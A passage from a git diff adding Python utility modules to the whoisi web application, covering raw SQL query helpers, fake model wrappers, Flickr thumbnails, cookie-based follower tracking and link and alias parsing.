+        return cgi.escape(string, quote=True)
+
+    return string
+
+# http://www.mozilla.org/something?a=b&c=d%2B#something
+# https://www.mozilla.org/something?a=b&c=d%2B#something
+
+def expand_href(text):
+#    str = re.sub('((http|https)://[A-Za-z0-9\-\.%\?=&#/]+)', '<a class="weblog-summary" target="_blank" href="\g<1>">\g<1></a>', text)
+    str = re.sub('((http|https)://[^ ]+)', '<a class="weblog-summary" target="_blank" href="\g<1>">\g<1></a>', text)
+    return str
+
+def short_link_ref(id):
+    return "/l/%x" % id
+
+def is_event_alias(alias):
+    e = re.match('^@(.+)$', alias)
+    if not e:
+        return False
+
+    return e.group(1)
+
+def is_group_alias(alias):
+    g = re.match('(^.+\:).+$', alias)
+    if not g:
+        return False
+
+    return g.group(1)
diff --git a/whoisi/utils/fast_api.py b/whoisi/utils/fast_api.py
new file mode 100644 (file)
index 0000000..aab0aa3
--- /dev/null
@@ -0,0 +1,110 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import whoisi.model as model
+
+def fast_get_max_person_id():
+    q = """
+        SELECT max(id) from person
+        """
+    c = model.Person._connection
+    return c.queryAll(q)[0][0]
+
+def fast_get_people(first, last):
+    c = model.Person._connection
+    q = """
+        SELECT person.id, person.name
+        FROM person
+        WHERE person.id >= %s and person.id <= %s
+        ORDER BY person.id
+        """ % (c.sqlrepr(first), c.sqlrepr(last))
+    people = c.queryAll(q)
+
+    c = model.Name._connection
+    q = """
+        SELECT person_id, name
+        FROM name
+        WHERE person_id >= %s and person_id <= %s
+        ORDER BY person_id
+        """ % (c.sqlrepr(first), c.sqlrepr(last))
+    aliases = c.queryAll(q)
+
+    c = model.Site._connection
+    q = """
+        SELECT person_id, id, url, feed, type, title
+        FROM site
+        WHERE person_id >= %s and person_id <= %s AND is_removed is NULL
+        ORDER BY person_id
+        """ % (c.sqlrepr(first), c.sqlrepr(last))
+    sites = c.queryAll(q)
+
+    retval = dict()
+
+    # walk the list of people, looking for matching aliases and sites
+    cur_person = None
+    people = [i for i in people]
+    try:
+        cur_person = people.pop(0)
+    except IndexError:
+        return retval
+
+    while cur_person:
+        id = cur_person[0]
+        name = cur_person[1]
+
+        # collect the aliases for this person - note that we prepend
+        # and then reverse for speed
+        tmp_aliases = []
+        aliases = [i for i in aliases]
+        try:
+            while True:
+                if aliases[0][0] == id:
+                    tmp_aliases.insert(0, aliases.pop(0)[1])
+                else:
+                    raise IndexError
+        except:
+            pass
+
+        tmp_aliases.sort()
+
+        # and now for the sites
+        tmp_sites = dict()
+        sites = [i for i in sites]
+        try:
+            while True:
+                if sites[0][0] == id:
+                    s = sites.pop(0)
+                    tmp_sites[s[1]] = dict(url=s[2], feed=s[3], type=s[4], title=s[5])
+                else:
+                    raise IndexError
+        except:
+            pass
+
+        # and now make a final object
+        retval[id] = dict(name=name, aliases=tmp_aliases, sites=tmp_sites)
+        
+        try:
+            cur_person = people.pop(0)
+        except:
+            cur_person = None
+
+    return retval
diff --git a/whoisi/utils/fast_follow.py b/whoisi/utils/fast_follow.py
new file mode 100644 (file)
index 0000000..df7cdc6
--- /dev/null
@@ -0,0 +1,42 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from whoisi.utils import follow
+import whoisi.model as model
+
+def fast_people_ids_by_name_for_follower():
+    f = follow.current()
+
+    q = """
+SELECT person.id
+FROM
+person
+WHERE
+person.id in
+  (SELECT person_id FROM follow_person where follower_id = %s)
+ORDER BY
+person.name
+        """ % f.id
+    
+    c = model.Person._connection
+    result = [x[0] for x in c.queryAll(q)]
+    return result
diff --git a/whoisi/utils/fast_history.py b/whoisi/utils/fast_history.py
new file mode 100644 (file)
index 0000000..412f18b
--- /dev/null
@@ -0,0 +1,550 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+from whoisi.utils import follow
+import whoisi.model as model
+
+# things that are needed
+# site_history.id
+# site_history.link
+# site_history.title
+# site_history.getAge()
+  # getLastTouched()
+    # site_history.published
+    # site_history.updated
+    # site_history.added
+# site_history.getText()
+  # site_history.content
+  # site_history.summary
+# site_history.display_cache
+# site_history.siteID
+
+# site.id
+# site.getOrderedHistory()
+# site.title
+# site.url
+# site.personID
+# site.current
+# site.history ?
+
+# person.id
+# person.name
+
+def fast_recent_changes_for_follower(start=None, unseen=False):
+
+    f = follow.current()
+
+    if f is None:
+        return None
+
+    # set up start clause
+    start_clause = ""
+    if unseen and start:
+        start_clause = "AND site_history.id > %d " % start
+        limit = ""
+    elif start:
+        start_clause = "AND site_history.id <= %d " % start
+        limit = "LIMIT 30"
+    else:
+        limit = "LIMIT 30"
+
+    follower_clause = "AND person.id = follow_person.person_id AND follow_person.follower_id = %d" % f.id
+
+    q = """
+SELECT
+site_history.id
+FROM
+site_history, site, person, follow_person
+WHERE
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+AND
+site.is_removed is NULL
+AND
+site.person_id = person.id
+%s
+%s
+ORDER BY
+site_history.id
+DESC
+%s
+        """ % (start_clause, follower_clause, limit)
+
+    c = model.SiteHistory._connection
+    result = [str(x[0]) for x in c.queryAll(q)]
+    if len(result) == 0:
+        return []
+
+    result = ",".join(result)
+
+    start_clause = "AND site_history.id IN (%s)" % result
+
+    q = """
+SELECT
+site_history.id,
+site_history.link,
+site_history.title,
+site_history.published,
+site_history.updated,
+site_history.added,
+site_history.content,
+site_history.summary,
+site_history.display_cache,
+site.id,
+site.title,
+site.url,
+site.current,
+site.type,
+person.id,
+person.name
+FROM
+site_history, site, person
+WHERE
+site_history.site_id = site.id
+AND
+site.person_id = person.id
+%s
+ORDER BY
+site_history.id
+DESC
+    """ % (start_clause)
+
+    result = c.queryAll(q)
+    retval = []
+    for i in result:
+        retval.append(SiteHistoryFakeFollower(i))
+
+    return retval
+
+def fast_count_items_for_follower():
+    f = follow.current()
+    start = f.last_history
+
+    q = """
+SELECT
+COUNT(*)
+FROM
+site_history, site, follow_person
+WHERE
+site_history.id > %s
+AND
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+AND
+site.is_removed is NULL
+AND
+site.person_id = follow_person.person_id
+AND
+follow_person.follower_id = %d
+        """ % (start, f.id)
+
+    c = model.SiteHistory._connection
+    try:
+        return c.queryAll(q)[0][0]
+    except:
+        return None
+
+def fast_max_item_for_follower():
+    f = follow.current()
+    q = """
+SELECT
+MAX(site_history.id)
+FROM
+site_history, site, follow_person
+WHERE
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+AND
+site.is_removed is NULL
+AND
+site.person_id = follow_person.person_id
+AND
+follow_person.follower_id = %d
+    """ % (f.id)
+
+    c = model.SiteHistory._connection
+    retval = None
+    try:
+        retval = c.queryAll(q)[0][0]
+    except:
+        return None
+
+    if retval > 0:
+        return retval
+
+    return None
+
+def fast_recent_changes_for_event(event, start=None):
+
+    c = model.SiteHistory._connection
+
+    # set up start clause
+    start_clause = ""
+    if start:
+        start_clause = "AND site_history.id <= %d " % start
+
+    follower_clause = "AND person.id = name.person_id and name.name = %s" % c.sqlrepr(u'@' + event)
+
+    q = """
+SELECT
+site_history.id
+FROM
+site_history, site, person, name
+WHERE
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+AND
+site.is_removed is NULL
+AND
+site.person_id = person.id
+%s
+%s
+        """ % (start_clause, follower_clause)
+
+    c = model.SiteHistory._connection
+    result = [str(x[0]) for x in c.queryAll(q)]
+    if len(result) == 0:
+        return []
+
+    result = ",".join(result)
+
+    start_clause = "AND site_history.id IN (%s)" % result
+
+    q = """
+SELECT
+site_history.id,
+site_history.link,
+site_history.title,
+site_history.published,
+site_history.updated,
+site_history.added,
+site_history.content,
+site_history.summary,
+site_history.display_cache,
+site.id,
+site.title,
+site.url,
+site.current,
+site.type,
+person.id,
+person.name
+FROM
+site_history, site, person
+WHERE
+site_history.site_id = site.id
+AND
+site.person_id = person.id
+%s
+ORDER BY
+site_history.id
+DESC
+LIMIT 30
+    """ % (start_clause)
+
+    result = c.queryAll(q)
+    retval = []
+    for i in result:
+        retval.append(SiteHistoryFakeFollower(i))
+
+    return retval
+
+
+def fast_recent_changes_for_everyone(start=None):
+    # set up the start clause
+    start_clause = ""
+    if start:
+        start_clause = "AND site_history.id <= %d" % start
+
+    # Set up a range.  If only the mysql engine were smarter about
+    # these kinds of things, sigh.
+    q = """
+SELECT
+site_history.id
+FROM
+site_history, site
+WHERE
+site.is_removed is NULL
+AND
+site_history.site_id = site.id
+AND
+site_history.on_new = 0
+%s
+ORDER BY
+site_history.id
+DESC LIMIT 30
+        """ % start_clause
+
+    c = model.SiteHistory._connection
+
+    # convert to comma format for the string
+    result = ",".join([str(x[0]) for x in c.queryAll(q)])
+
+    start_clause = "AND site_history.id IN (%s)" % result
+
+    q = """
+SELECT
+site_history.id,
+site_history.link,
+site_history.title,
+site_history.published,
+site_history.updated,
+site_history.added,
+site_history.content,
+site_history.summary,
+site_history.display_cache,
+site.id,
+site.title,
+site.url,
+site.current,
+site.type,
+person.id,
+person.name
+FROM
+site_history, site, person
+WHERE
+site_history.site_id = site.id
+AND
+site.person_id = person.id
+%s
+ORDER BY
+site_history.id
+DESC
+    """ % start_clause
+
+    result = c.queryAll(q)
+    retval = []
+    for i in result:
+        retval.append(SiteHistoryFakeFollower(i))
+
+    return retval
+
+# XXX we can probably get rid of the big-ass site and person join here
+# - that will save a huge amount of work
+def fast_site_history_for_site(site_id, limit):
+    c = model.SiteHistory._connection
+
+    site_id_s = c.sqlrepr(site_id)
+    limit_s = c.sqlrepr(limit)
+    q = """
+SELECT
+site_history.id,
+site_history.link,
+site_history.title,
+site_history.published,
+site_history.updated,
+site_history.added,
+site_history.content,
+site_history.summary,
+site_history.display_cache,
+site.id,
+site.title,
+site.url,
+site.current,
+site.type,
+person.id,
+person.name
+FROM site_history, site, person
+WHERE
+site_history.site_id = %s AND
+site_history.site_id = site.id AND
+site.person_id = person.id
+ORDER BY site_history.id
+DESC
+LIMIT %s
+        """ % (site_id_s, limit_s)
+    result = c.queryAll(q)
+    retval = []
+    for i in result:
+        retval.append(SiteHistoryFakeBySite(i))
+
+    return retval
+
+class PersonFake:
+    def __init__(self, site_history):
+        self.site_history = site_history
+
+    def __getattr__(self, name):
+        if name == "name":
+            return self.site_history.person_name
+        if name == "id":
+            return self.site_history.person_id
+
+        raise AttributeError(name)
+
+class SiteFake:
+    def __init__(self, site_history):
+        self.site_history = site_history
+        self.person = PersonFake(self.site_history)
+
+    def __getattr__(self, name):
+        if name == "person":
+            return self.person
+        elif name == "type":
+            return self.site_history.site_type
+        elif name == "id":
+            return self.site_history.site_id
+        elif name == "url":
+            return self.site_history.site_url
+        elif name == "personID":
+            return self.site_history.site_personID
+        elif name == "title":
+            return self.site_history.site_title
+
+        raise AttributeError(name)
+
+class SiteHistoryFake:
+    def __init__(self, result):
+        self.data = result
+        self.site = SiteFake(self)
+
+    # stolen from model.py
+    def getAge(self):
+        last = self.getLastTouched()
+        if not last:
+            return "Unknown"
+
+        d = datetime.utcnow() - last
+        if d.days == 1:
+            return "Yesterday"
+
+        if d.days > 0:
+            return "%d days ago" % d.days
+        
+        # hours
+        mins = int(d.seconds / 60)
+        if mins < 60:
+            return "%d minutes ago" % mins
+
+        return "%d hours ago" % int(mins / 60)
+
+    def getLastTouched(self):
+        # we do the 'min vs. self.added' thing in case a blog reports
+        # a time in the future
+        if self.updated and self.published:
+            reported = max(self.updated, self.published)
+            return min(reported, self.added)
+        
+        if self.updated and self.published == None:
+            return min(self.updated, self.added)
+
+        if self.published and self.updated == None:
+            return min(self.published, self.added)
+
+        # for entries without dates
+        return self.added
+
+    # stolen from model.py
+    def getText(self):
+        if self.content is not None:
+            return self.content
+
+        return self.summary
+
+class SiteHistoryFakeFollower(SiteHistoryFake):
+    def __getattr__(self, name):
+        if name == "site":
+            return self.site
+        elif name == "siteID":
+            return self.data[9]
+        elif name == "id":
+            return self.data[0]
+        elif name == "link":
+            return self.data[1]
+        elif name == "title":
+            return self.data[2]
+        elif name == "display_cache":
+            return self.data[8]
+        elif name == "content":
+            return self.data[6]
+        elif name == "summary":
+            return self.data[7]
+        elif name == "published":
+            return self.data[3]
+        elif name == "updated":
+            return self.data[4]
+        elif name == "added":
+            return self.data[5]
+        elif name == "person_name":
+            return self.data[15]
+        elif name == "person_id":
+            return self.data[14]
+        elif name == "site_type":
+            return self.data[13]
+        elif name == "site_id":
+            return self.data[9]
+        elif name == "site_url":
+            return self.data[11]
+        elif name == "site_personID":
+            return self.data[14]
+        elif name == "site_title":
+            return self.data[10]
+
+        raise AttributeError(name)
+
+
+class SiteHistoryFakeBySite(SiteHistoryFake):
+    def __getattr__(self, name):
+        if name == "site":
+            return self.site
+        elif name == "siteID":
+            return self.data[9]
+        elif name == "id":
+            return self.data[0]
+        elif name == "link":
+            return self.data[1]
+        elif name == "title":
+            return self.data[2]
+        elif name == "display_cache":
+            return self.data[8]
+        elif name == "content":
+            return self.data[6]
+        elif name == "summary":
+            return self.data[7]
+        elif name == "published":
+            return self.data[3]
+        elif name == "updated":
+            return self.data[4]
+        elif name == "added":
+            return self.data[5]
+        elif name == "person_name":
+            return self.data[15]
+        elif name == "person_id":
+            return self.data[14]
+        elif name == "site_type":
+            return self.data[13]
+        elif name == "site_id":
+            return self.data[9]
+        elif name == "site_url":
+            return self.data[11]
+        elif name == "site_personID":
+            return self.data[14]
+        elif name == "site_title":
+            return self.data[10]
+
+        raise AttributeError(name)
+
+
diff --git a/whoisi/utils/flickr.py b/whoisi/utils/flickr.py
new file mode 100644 (file)
index 0000000..f85d7e1
--- /dev/null
@@ -0,0 +1,48 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import cgi
+import simplejson
+
+def flickr_fill_thumbnails(entries):
+    entries_list = []
+    needs_refresh = False
+    for i in entries:
+        if i.display_cache is None:
+            entries_list.append([i.link,
+                                 "/static/images/sites/flickr-blank-75x75.png",
+                                 cgi.escape(i.title),
+                                 i.id])
+            needs_refresh = True
+        else:
+            d = simplejson.loads(i.display_cache)
+            try:
+                entries_list.append([i.link,
+                                     d["thumb"],
+                                     cgi.escape(i.title),
+                                     i.id])
+            except KeyError:
+                entries_list.append([i.link,
+                                     "/static/images/sites/flickr-blank-75x75.png",
+                                     cgi.escape(i.title),
+                                     i.id])
+    return entries_list, needs_refresh
diff --git a/whoisi/utils/follow.py b/whoisi/utils/follow.py
new file mode 100644 (file)
index 0000000..b99d5c6
--- /dev/null
@@ -0,0 +1,298 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from whoisi.model import Follower, FollowPerson
+from cherrypy.filters.basefilter import BaseFilter
+from random import random
+from datetime import timedelta, datetime
+import time
+import sha
+import cherrypy
+import turbogears
+import threading
+import logging
+
+log = logging.getLogger("whoisi.follow")
+
+# Two classes in here: FollowManager and FollowFilter.
+
+# There are also two calls for the server startup and shutdown.  They
+# are called from the startup script.  All they do is create/destroy
+# the manager and add hooks to the web server request pipeline to set
+# up cookies and per-request data.
+
+# The FollowFilter class has one method that's called from multiple
+# threads during request processing.  (All data appears to be
+# method-local.  Pretty safe.)
+
+# It checks to see if there's a follow-id cookie.  If there isn't, it
+# unsets the current follower.  If there is, it makes sure that they
+# response output contains the cookie with an updated date.
+# (_manager.send_cookie() actually updates the date.)  It also sets
+# the current follower for this request.
+
+# The FollowManager class is a thread that runs in the server.  It's
+# not done, which you will notice if you look at the code.  It's
+# modeled after the visitor code that's in TG.  I'll need to finish
+# it.  Basically it should cache the follower information and hand it
+# out when needed.  Right now we still do a database read and write
+# for every request.  We should really be doing one and then hanging
+# on to that information and saving it for a few minutes.  This would
+# really improve the performance of the website and add some coherency
+# to the follow code, which still has a couple minor and harmless race
+# conditions.
+
+class FollowManager(threading.Thread):
+    def __init__(self):
+        global _cookie_timeout
+        super(FollowManager,self).__init__(name="FollowManagerThread")
+        self.queue = dict()
+        self.lock = threading.Lock()
+        self._shutdown = threading.Event()
+        self.interval = 60
+        self.setDaemon(True)
+        self.start()
+
+        get = turbogears.config.get
+
+        self.cookie_name = get("follow.cookie.name", "follow-id")
+        # TODO: The path should probably default to whatever
+        # the root is masquerading as in the event of a
+        # virtual path filter.
+        self.cookie_path = get("follow.cookie.path", "/")
+        # The secure bit should be set for HTTPS only sites
+        self.cookie_secure = get("follow.cookie.secure", False)
+        # By default, I don't specify the cookie domain.
+        self.cookie_domain = get("follow.cookie.domain", None)
+        # default is one year
+        self.cookie_max_age = int(get("follow.timeout", "365")) * 60 * 60 * 24
+        assert self.cookie_domain != "localhost", \
+               "localhost is not a valid value for visit.cookie.domain. Try None instead."
+
+    def startup(self):
+        log.debug("FollowManager: Starting up.")
+
+    def shutdown(self, timeout=None):
+        log.debug("FollowManager: Shutting down.")
+        self._shutdown.set()
+        self.join(timeout)
+        if self.isAlive():
+            log.error("Follow Manager thread failed to shutdown.")
+        log.debug("FollowManager: Shut down.")
+
+    def follow_for_id(self, key):
+        f = Follower.lookup_follower(key)
+        if not f:
+            return None
+
+        # update the expire date
+        f.expires = datetime(*self._get_expire_time()[:6])
+        # and the last_visit time
+        f.last_visit = datetime.utcnow()
+        return f
+
+    def run(self):
+        while not self._shutdown.isSet():
+            self.lock.acquire()
+            queue = None
+            try:
+                # make a copy of the queue and empty the original
+                if self.queue:
+                    queue = self.queue.copy()
+                    self.queue.clear()
+
+            finally:
+                self.lock.release()
+
+#            if queue is not None:
+#                self.update_queued_visits(queue)
+
+            self._shutdown.wait(self.interval)
+
+    def _get_expire_time(self):
+        return time.gmtime(time.time() + self.cookie_max_age)
+
+    def _generate_key(self):
+        '''
+        Returns a (pseudo)random hash based on seed
+        '''
+        # Adding remoteHost and remotePort doesn't make this any more secure,
+        # but it makes people feel secure... It's not like I check to make
+        # certain you're actually making requests from that host and port. So
+        # it's basically more noise.
+        key_string= '%s%s%s%s' % (random(), datetime.now(),
+                                  cherrypy.request.remote_host,
+                                  cherrypy.request.remote_port)
+        return sha.new(key_string).hexdigest()
+
+    def send_cookie(self, follow_key):
+        '''
+        Send the follow ID cookie back to the browser.
+        '''
+        cookies = cherrypy.response.simple_cookie
+        cookies[self.cookie_name] = follow_key
+        cookies[self.cookie_name]['path'] = self.cookie_path
+        # We'd like to use the "max-age" param as
+        #   http://www.faqs.org/rfcs/rfc2109.html indicates but IE doesn't
+        #   save it to disk and the session is lost if people close
+        #   the browser
+        #   So we have to use the old "expires" ... sigh ...
+        #cookies[self.cookie_name]['max-age']= self.cookie_max_age
+        gmt_expiration_time = self._get_expire_time()
+        cookies[self.cookie_name]['expires'] = time.strftime(
+                "%a, %d-%b-%Y %H:%M:%S GMT", gmt_expiration_time)
+
+        if self.cookie_secure:
+            cookies[self.cookie_name]['secure'] = True
+
+        if self.cookie_domain:
+            cookies[self.cookie_name]['domain'] = self.cookie_domain
+
+#        log.debug("Sending visit ID cookie: %s",
+#                   cookies[self.cookie_name].output())
+
+def current():
+    return getattr(cherrypy.request, "follow", None)
+
+def set_current(follow):
+    cherrypy.request.follow = follow
+
+def login(follow):
+    set_current(follow)
+    _manager.send_cookie(follow.follow_key)
+
+def count_history():
+    follow = current()
+    if not follow:
+        return None
+
+    return follow.count_history
+
+def last_history():
+    follow = current()
+    if not follow:
+        return None
+
+    return follow.last_history
+
+def is_following_anyone():
+    global _manager
+    follow = current()
+    if not follow:
+        return 0
+
+    return follow.is_following_anyone()
+
+def is_following_person(person_id):
+    global _manager
+    follow = current()
+    if follow and follow.is_following_person(person_id):
+        return True
+
+    return False
+
+def add_person(person):
+    global _manager
+#    log.debug("add_person " + str(person))
+    # make sure that we have a follow item set and set in the cookie
+    follow = current()
+    if not follow:
+        follow_key = _manager._generate_key()
+        public = _manager._generate_key()
+        private = _manager._generate_key()
+        expires = _manager._get_expire_time()
+        expires = datetime(*expires[:6])
+
+        follow = Follower(follow_key=follow_key,
+                          public=public,
+                          private=private,
+                          expires=expires)
+
+        _manager.send_cookie(follow_key)
+
+        set_current(follow)
+
+    return follow.add_person(person)
+
+def remove_person(person):
+    global _manager
+#    log.debug("remove_person " + str(person))
+    follow = current()
+    if not follow:
+        return
+
+    follow.remove_person(person)
+
+# lots and lots of code borrowed from turbogears.visit.api.VisitFilter
+class FollowFilter(BaseFilter):
+    def __init__(self):
+        log.info("Follow filter created!")
+
+    def before_main(self):
+#        log.debug("FollowFilter.before_main")
+        follow = current()
+        cookies = cherrypy.request.simple_cookie
+
+        if _manager.cookie_name not in cookies:
+#            log.debug("before_main: no cookie set")
+            set_current(None)
+            return
+
+        follow_key = cookies[_manager.cookie_name].value
+        follow = _manager.follow_for_id(follow_key)
+        set_current(follow)
+
+        _manager.send_cookie(follow_key)
+
+# global follow manager
+_manager = None
+
+def follow_startup():
+    global _manager
+    if _manager:
+        return
+
+    _manager = FollowManager()
+
+    _manager.startup()
+
+    log.info("FollowFilter starting")
+
+    ff = FollowFilter()
+    if not hasattr(cherrypy.root, "_cp_filters"):
+        cherrypy.root._cp_filters = list()
+
+    cherrypy.root._cp_filters.append(ff)
+
+def follow_shutdown():
+    global _manager
+
+    if not _manager:
+        return
+
+    _manager.shutdown()
+
+    log.info("FollowFilter stopping")
+
+    _manager = None
+
+
diff --git a/whoisi/utils/names.py b/whoisi/utils/names.py
new file mode 100644 (file)
index 0000000..1860f36
--- /dev/null
@@ -0,0 +1,51 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import whoisi.model as model
+
+def fast_names_for_person(person_id):
+    c = model.Name._connection
+    person_id_s = c.sqlrepr(person_id)
+    q = """
+    SELECT id, name FROM name WHERE person_id = %s ORDER BY id
+    """ % person_id_s
+
+    result = c.queryAll(q)
+    retval = []
+    for i in result:
+        retval.append(NameFake(*i))
+
+    return retval
+
+class NameFake:
+    def __init__(self, id, name):
+        self.id = id
+        self.name = name
+
+    def __getattr__(self, name):
+        if name == "id":
+            return self.id
+        if name == "name":
+            return self.name
+
+        raise AttributeError(name)
+    
diff --git a/whoisi/utils/picasa.py b/whoisi/utils/picasa.py
new file mode 100644 (file)
index 0000000..4ce9c32
--- /dev/null
@@ -0,0 +1,29 @@
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+def picasa_get_summary(entry):
+    if entry.summary:
